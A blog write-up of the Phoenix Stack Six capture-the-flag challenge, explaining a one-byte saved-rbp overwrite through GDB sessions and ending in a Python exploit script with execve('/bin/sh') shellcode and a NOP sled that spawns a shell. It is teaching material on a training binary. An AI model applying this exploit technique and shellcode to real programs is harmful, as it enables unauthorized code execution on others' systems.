Phoenix Stack Six
Tags: security, ctf, pwn
Published: 2021-06-08 04:07:10

## Background
I solved a stack smashing challenge found in Exploit Education's Phoenix, namely [Stack Six](http://exploit.education/phoenix/stack-six/). I found it to be an interesting example of how just overwriting one byte can lead to RCE. We are given the following source code.
```c
/*
 * phoenix/stack-six, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * Why do fungi have to pay double bus fares? Because they take up too
 * mushroom.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *what = GREET;

char *greet(char *who) {
  char buffer[128];
  int maxSize;

  maxSize = strlen(who);
  if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
    maxSize = sizeof(buffer) - 1;
  }

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

  return strdup(buffer);
}

int main(int argc, char **argv) {
  char *ptr;
  printf("%s\n", BANNER);

#ifdef NEWARCH
  if (argv[1]) {
    what = argv[1];
  }
#endif

  ptr = getenv("ExploitEducation");
  if (NULL == ptr) {
    // This style of comparison prevents issues where you may accidentally
    // type if(ptr = NULL) {}..

    errx(1, "Please specify an environment variable called ExploitEducation");
  }

  printf("%s\n", greet(ptr));
  return 0;
}
```
## The bug

We pass input by setting the `ExploitEducation` environment variable. Then our input is seemingly bounds checked. If our input is longer than 127 bytes, only the first 127 bytes are copied into `buffer`. 

However, notice the program does not account for the length of `what`. It blindly copies the contents of `what` into `buffer` before copying our input. This means we still can overflow the buffer! Let's try inputting 128 `A`s.
```bash
user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 128"`
user@phoenix-amd64:~$
```

Debug the program in GDB. I decide to set two breakpoints: at the prologue and epilogue of `main`. I also set another breakpoint after the the call to `strncpy` in `greet`. 

```bash
gef➤  break *main
Breakpoint 1 at 0x40079b
gef➤  break *main + 91
Breakpoint 2 at 0x4007f7
gef➤  break *greet + 133
Breakpoint 3 at 0x400782
gef➤  run
```

Right away we pause at the start of main. Let's find where our 128 `A`s are. We know that our input is in an environment variable. GEF shows which registers are pointing to strings.

```bash
$rbx   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"
$rdx   : 0x00007fffffffe5f8  →  0x00007fffffffe817  →  "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$rsi   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  "/opt/phoenix/amd64/stack-six"
```

Immediately we see a familiar environment variable `LS_COLORS`. Let's dump some more strings from `0x00007fffffffe7fa` onwards.

```bash
gef➤  x/40s 0x00007fffffffe7fa
0x7fffffffe7fa:	"/opt/phoenix/amd64/stack-six"
💇
0x7fffffffeeb3:	"COLUMNS=99"
0x7fffffffeebe:	"MAIL=/var/mail/user"
0x7fffffffeed2:	"SHELL=/bin/bash"
0x7fffffffeee2:	"TERM=xterm-256color"
0x7fffffffeef6:	"SHLVL=1"
0x7fffffffeefe:	"ExploitEducation=", 'A' <repeats 128 times>
💇
```

We've found our input. Note that our `A`s start after the string "ExploitEducation=", which measures 17 bytes. GEF allows us to do some quick calculation.

```bash
gef➤  $ 0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b'\x7f\xff\xff\xff\xef\x0f'
b'\x0f\xef\xff\xff\xff\x7f'
```

If we now dump 128 characters from `0x7fffffffef0f` we should see our `A`s.

```bash
gef➤  x/128c 0x7fffffffef0f
0x7fffffffef0f:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0x7fffffffef17:	0x41	0x41	0x41	0x41	0x41 💇
```

Perfect. We continue execution till we hit the breakpoint in `greet`. Let's examine the stack.

```bash
gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
0x7fffffffe4b0:	0x00007ffff7ffc948	0x00007fffffffef0f
0x7fffffffe4c0:	0x2c656d6f636c6557	0x6c70206d61204920
0x7fffffffe4d0:	0x6f74206465736165	0x6f79207465656d20
0x7fffffffe4e0:	0x4141414141412075	0x4141414141414141
0x7fffffffe4f0:	0x4141414141414141	0x4141414141414141
💇
0x7fffffffe540:	0x4141414141414141	0x4141414141414141
0x7fffffffe550:	0x4141414141414141	0x4141414141414141
0x7fffffffe560:	0x00007fffffffe541	0x00000000004007e9
0x7fffffffe570:	0x00007fffffffe5e8	0x00000001ffffe5f8
0x7fffffffe580:	0x000000000040079b	0x00007fffffffef0f
0x7fffffffe590:	0x0000000000000001	0x00007ffff7d8fd62
0x7fffffffe5a0:	0x0000000000000000	0x00007fffffffe5e0
```

We can see our `A`s fill up the buffer nicely. Did we overwrite any pointers? Let's check the registers.

```bash
$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe541  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]
```

Woah! The `rbp` register is pointing to our `A`s? And the least significant byte has a value of 0x41. Hmm... Let's rerun the program inputting just 126 `A`s and one `B`. Debug the program setting the same breakpoints.

```bash
user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 126 + 'B'"`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
```

Back to where we were just now, let's examine the stack.

```bash
gef➤  x/32gx $rsp
0x7fffffffe4b0:	0x00007ffff7ffc948	0x00007fffffffef10
0x7fffffffe4c0:	0x2c656d6f636c6557	0x6c70206d61204920
0x7fffffffe4d0:	0x6f74206465736165	0x6f79207465656d20
0x7fffffffe4e0:	0x4141414141412075	0x4141414141414141
0x7fffffffe4f0:	0x4141414141414141	0x4141414141414141
💇
0x7fffffffe540:	0x4141414141414141	0x4141414141414141
0x7fffffffe550:	0x4141414141414141	0x4141414141414141
0x7fffffffe560:	0x00007fffffffe542	0x00000000004007e9
0x7fffffffe570:	0x00007fffffffe5e8	0x00000001ffffe5f8
0x7fffffffe580:	0x000000000040079b	0x00007fffffffef10
0x7fffffffe590:	0x0000000000000001	0x00007ffff7d8fd62
0x7fffffffe5a0:	0x0000000000000000	0x00007fffffffe5e0
```

We examine the registers and indeed, we can overwrite one byte of `rbp`.

```bash
$rsp   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x0
$rdi   : 0x00007fffffffe561  →  0xe900007fffffffe5
$rip   : 0x0000000000400782  →  <greet+133> lea rax, [rbp-0xa0]
```

How does this help us? If we look at the subsequent instructions, we see that a value is popped off the stack into `rbp`.

```
→    0x400782 <greet+133>      lea    rax, [rbp-0xa0]
     0x400789 <greet+140>      mov    rdi, rax
     0x40078c <greet+143>      call   0x400560 <strdup@plt>
     0x400791 <greet+148>      add    rsp, 0xa8
     0x400798 <greet+155>      pop    rbx
     0x400799 <greet+156>      pop    rbp
```

We break at that instruction and realise that value has our `B` in it!

```
gef➤  break *greet + 156
Breakpoint 4 at 0x400799
gef➤  continue
💇
$rsp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
```

Step over and we see `rbp` is indeed set to our corrupt value.

```bash
gef➤  ni
💇
$rbp   : 0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
```

We continue to our last breakpoint, a `leave` instruction in `main`. A `leave` achieves the same thing as

```
mov rsp, rbp
pop rbp
```

First, `rsp` will be set to the value of `rbp`. This is their current state.

```bash
$rsp   : 0x00007fffffffe570  →  0x00007fffffffe5e8  →  0x00007fffffffe7fb  →  "/opt/phoenix/amd64/stack-six"
$rbp   : 0x00007fffffffe542  →  0x993400007ffff7ff
```

Step over and we see `rsp` set to `0x00007fffffffe542` plus 8 (remember popping a value off the stack adds 8 to `rsp`).

```bash
$rsp   : 0x00007fffffffe54a  →  0x414100007ffff7db
$rbp   : 0x993400007ffff7ff
```

What's the next instruction? That's right, a `ret` which is basically `pop rip`. Since `rsp` is pointing to some garbage value, we will segfault.

## Plan of attack

Just by overwriting one byte, we redirected code execution. How can we use this to our advantage and pop a shell? First, we need to realise that by controlling the least significant byte, we only can overwrite `rbp` to point from `0x00007fffffffe500` to `ff`. We could point back into `buffer` but by the time we jump back, that stack frame would already be cleared. 

But how about our environment variable? Its contents remain on the stack as long as we are still in the shell. Recall that `greet` takes one argument, a character pointer to our environment variable. We know that arguments passed to a function are stored after its return address.

![https://en.wikipedia.org/wiki/Call_stack#/media/File:Call_stack_layout.svg](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ltiahgzbrt3ux1cpl2qr.png)

With our input of 128 `A`s, the address we calculated was `0x7fffffffef0f`. When we hit the breakpoint in `greet` and dump out the stack, we can clearly see that address stored on the stack at `0x7fffffffe588`.

```bash
gef➤  continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx $rsp
💇
0x7fffffffe540:	0x4141414141414141	0x4141414141414141
0x7fffffffe550:	0x4141414141414141	0x4141414141414141
0x7fffffffe560:	0x00007fffffffe541	0x00000000004007e9
0x7fffffffe570:	0x00007fffffffe5e8	0x00000001ffffe5f8
0x7fffffffe580:	0x000000000040079b	0x00007fffffffef0f
0x7fffffffe590:	0x0000000000000001	0x00007ffff7d8fd62
0x7fffffffe5a0:	0x0000000000000000	0x00007fffffffe5e0
```

We have established that at before returning from `main`, `rsp` will be whatever `rbp` was plus 8. So subtracting 8 from `0x7fffffffe588` we will get `0x7fffffffe580`. With our overflow, can we set `rbp` to be `0x7fffffffe580`? Definitely, as it is within our range (`0x7fffffffe500` to `ff`).

## Exploitation

```python
import struct

# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
shellcode += "\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
shellcode += "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27 bytes

fake_rbp = "\x80"

payload = "\x90" * 50
payload += shellcode
payload += "A" * (127 - len(payload) - 1)
payload += fake_rbp

print payload
```

When we debug the program with our payload we get a shell!
{% asciinema https://asciinema.org/a/418425 %}

However, trying outside GDB we segfault 😢 Turns out GDB adds some environment variables and that affects the stack. To get a more accurate view of the stack, we run the following commands before running the program.

```bash
gef➤  unset env LINES
gef➤  unset env COLUMNS
gef➤  set env _ /opt/phoenix/amd64/stack-six
```

Hit the breakpoint in `greet` and dump out the stack. Notice the addresses have changed.

```bash
gef➤  x/32gx $rsp
0x7fffffffe4d0:	0x00007ffff7ffc948	0x00007fffffffef10
0x7fffffffe4e0:	0x2c656d6f636c6557	0x6c70206d61204920
0x7fffffffe4f0:	0x6f74206465736165	0x6f79207465656d20
0x7fffffffe500:	0x9090909090902075	0x9090909090909090
0x7fffffffe510:	0x9090909090909090	0x9090909090909090
0x7fffffffe520:	0x9090909090909090	0x9090909090909090
0x7fffffffe530:	0xbb48c03190909090	0xff978cd091969dd1
0x7fffffffe540:	0x52995f5453dbf748	0x41050f3bb05e5457
0x7fffffffe550:	0x4141414141414141	0x4141414141414141
0x7fffffffe560:	0x4141414141414141	0x4141414141414141
0x7fffffffe570:	0x4141414141414141	0x4141414141414141
0x7fffffffe580:	0x00007fffffffe580	0x00000000004007e9
0x7fffffffe590:	0x00007fffffffe608	0x00000001ffffe618
0x7fffffffe5a0:	0x000000000040079b	0x00007fffffffef10
0x7fffffffe5b0:	0x0000000000000001	0x00007ffff7d8fd62
0x7fffffffe5c0:	0x0000000000000000	0x00007fffffffe600
```

Update the least significant byte from `80` to `a0` and we should be golden.

{% asciinema https://asciinema.org/a/418430 %}